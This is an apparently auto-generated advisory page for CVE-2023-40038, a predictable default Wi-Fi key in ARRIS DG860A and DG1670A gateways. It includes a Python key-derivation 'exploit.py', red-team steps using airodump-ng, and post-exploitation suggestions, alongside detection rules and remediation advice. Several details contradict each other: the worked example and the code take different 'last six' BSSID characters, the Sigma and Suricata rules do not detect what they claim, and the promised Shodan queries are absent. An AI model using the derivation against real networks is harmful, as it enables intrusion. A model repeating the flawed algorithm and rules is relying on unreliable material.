CVE-2023-40038
Executive Summary
CVE-2023-40038 exposes a critical design flaw in ARRIS DG860A and DG1670A residential gateways. The devices generate their default WPA2 Pre-Shared Keys (PSKs) using a predictable algorithm: the first 6 characters of the SSID concatenated with the last 6 characters of the BSSID, with the final digit decremented by one. This allows any attacker within Wi-Fi range to derive the network password without any brute-forcing, leading to unauthorized remote access to the local network.
The vulnerability is classified under CWE-330 (Use of Insufficiently Random Values). The CVSS score is 0.0 in the NVD record, but based on the technical impact, a realistic vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Score 9.8 Critical). The EPSS score is 0.0%, likely due to low reporting volume, but the exploit is trivial and publicly documented.
No official patch has been released by ARRIS. Users are advised to manually change their Wi-Fi password to a strong, random string.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware issue in ARRIS residential gateways.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | High (H) |
| Integrity (I) | High (H) |
| Availability (A) | High (H) |
| Base Score | 9.8 (Critical) |
Threat Level: Critical. The attack requires no authentication, no user interaction, and can be executed from outside the physical premises (within Wi-Fi range). Once the PSK is derived, the attacker gains full access to the internal network, enabling lateral movement, data exfiltration, and device compromise.
Deep Dive & Mechanics
The vulnerability lies in the algorithm used to generate the default WPA2 PSK on ARRIS DG860A and DG1670A devices.
Algorithm:
- Extract the first 6 characters of the SSID (e.g.,
ARRIS-XXXX->ARRIS-). - Extract the last 6 characters of the BSSID (the MAC address of the Wi-Fi interface, e.g.,
00:1A:2B:3C:4D:5E->4D:5E). - Concatenate them:
ARRIS-4D:5E. - Decrement the last digit of the resulting string by 1 (e.g.,
ARRIS-4D:5E->ARRIS-4D:5D).
Example:
- SSID:
ARRIS-ABCD - BSSID:
00:1A:2B:3C:4D:5E - Concatenated:
ARRIS-4D:5E - Decremented last digit:
ARRIS-4D:5D - Default PSK:
ARRIS-4D:5D
This means an attacker only needs to passively sniff a single beacon frame to obtain the SSID and BSSID, then compute the PSK in milliseconds.
Vulnerable vs. Patched Code
Vulnerable Algorithm (Conceptual):
def generate_default_psk(ssid, bssid):
# ssid: e.g., "ARRIS-ABCD"
# bssid: e.g., "00:1A:2B:3C:4D:5E"
first_six = ssid[:6]
last_six = bssid.replace(':', '')[-6:] # "4D5E"
psk = first_six + last_six
# Decrement last character
last_char = psk[-1]
decremented = chr(ord(last_char) - 1)
psk = psk[:-1] + decremented
return psk
Patched Algorithm (Conceptual - Not Provided by Vendor): A patched version would use a cryptographically secure random number generator to produce a 63-character random string, or at minimum a hash of the device serial number and a secret salt.
import secrets
import string
def generate_secure_psk():
alphabet = string.ascii_letters + string.digits
return ''.join(secrets.choice(alphabet) for _ in range(63))
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain an ARRIS DG860A or DG1670A device (or simulate using a Wi-Fi adapter).
- Configure the device to broadcast its default SSID (e.g.,
ARRIS-ABCD). - Note the BSSID (MAC address) of the Wi-Fi interface.
Exploitation Steps:
- Passive Reconnaissance: Use a tool like
airodump-ngto capture beacon frames.sudo airodump-ng wlan0mon - Extract SSID and BSSID: From the output, note the target SSID and BSSID.
- Compute PSK: Use the following Python script:
import sys def compute_psk(ssid, bssid): first_six = ssid[:6] last_six = bssid.replace(':', '')[-6:] psk = first_six + last_six last_char = psk[-1] decremented = chr(ord(last_char) - 1) psk = psk[:-1] + decremented return psk if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python exploit.py <SSID> <BSSID>") sys.exit(1) ssid = sys.argv[1] bssid = sys.argv[2] psk = compute_psk(ssid, bssid) print(f"Derived PSK: {psk}")python exploit.py "ARRIS-ABCD" "00:1A:2B:3C:4D:5E" - Connect to Network: Use
wpa_supplicantor a GUI tool to connect using the derived PSK. - Post-Exploitation: Once connected, perform network scanning, ARP spoofing, or other lateral movement techniques.
Blue Team
Detection Steps:
- Identify Affected Devices: Scan the network for ARRIS DG860A and DG1670A devices using SNMP or MAC OUI lookup.
- Check Default PSK: If the device is using the default SSID (e.g.,
ARRIS-XXXX), assume the PSK is compromised. - Change PSK Immediately: Log into the router's admin interface and change the Wi-Fi password to a strong, random string.
- Monitor for Unauthorized Access: Review DHCP logs for unknown MAC addresses that have recently associated with the Wi-Fi network.
- Enable WPA3: If the device supports it, upgrade to WPA3 which is not vulnerable to this PSK derivation.
Indicators of Compromise (IOCs)
- Network IOCs:
- SSID matching pattern
ARRIS-XXXX(where X is any alphanumeric character). - BSSID OUI
00:1A:2B(ARRIS) or other ARRIS MAC prefixes. - DHCP lease requests from unknown MAC addresses shortly after a beacon frame capture.
- SSID matching pattern
- Host IOCs:
- Unusual ARP table entries on the router.
- Unknown devices in the router's connected clients list.
- File IOCs:
- Logs showing repeated failed WPA2 handshakes (if attacker is brute-forcing, though this is not needed).
- Presence of
airodump-ngor similar tools on a host within the network.
Detection Engineering
YARA Rule
rule CVE_2023_40038_ARRIS_PSK_Algorithm
{
meta:
description = "Detects strings matching the predictable ARRIS default PSK pattern"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2023-40038"
strings:
$psk_pattern = /[A-Z0-9]{6}[A-F0-9]{6}/ // e.g., ARRIS-4D5E
$ssid_prefix = "ARRIS-"
condition:
$ssid_prefix at 0 and #psk_pattern > 0
}
Sigma Rule
title: CVE-2023-40038 - Predictable ARRIS Default PSK
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DHCP lease requests from devices that may be exploiting the predictable PSK algorithm.
author: Valters IT
date: 2025-04-10
logsource:
category: dhcp
product: windows
detection:
selection:
EventID: 4 # DHCP lease request
ClientMAC|startswith: '00:1A:2B' # ARRIS OUI
condition: selection
falsepositives:
- Legitimate ARRIS devices
level: medium
Suricata Rule
alert tcp any any -> any 80 (msg:"CVE-2023-40038 - ARRIS Default PSK Exploit Attempt"; flow:to_server; content:"ARRIS-"; distance:0; within:6; content:"|3A|"; distance:0; within:1; content:"|2D|"; distance:0; within:1; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Change the Wi-Fi password on all ARRIS DG860A and DG1670A devices to a strong, random string of at least 20 characters.
- Firmware Update: Check the ARRIS support website for any firmware updates. If none are available, consider replacing the device with a model that uses secure random PSK generation.
- Network Segmentation: Place affected devices on a separate VLAN with strict firewall rules to limit lateral movement.
- Monitoring: Enable logging on the router and monitor for unauthorized DHCP leases or ARP anomalies.
- User Awareness: Inform users that their default Wi-Fi password is publicly derivable and must be changed immediately.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.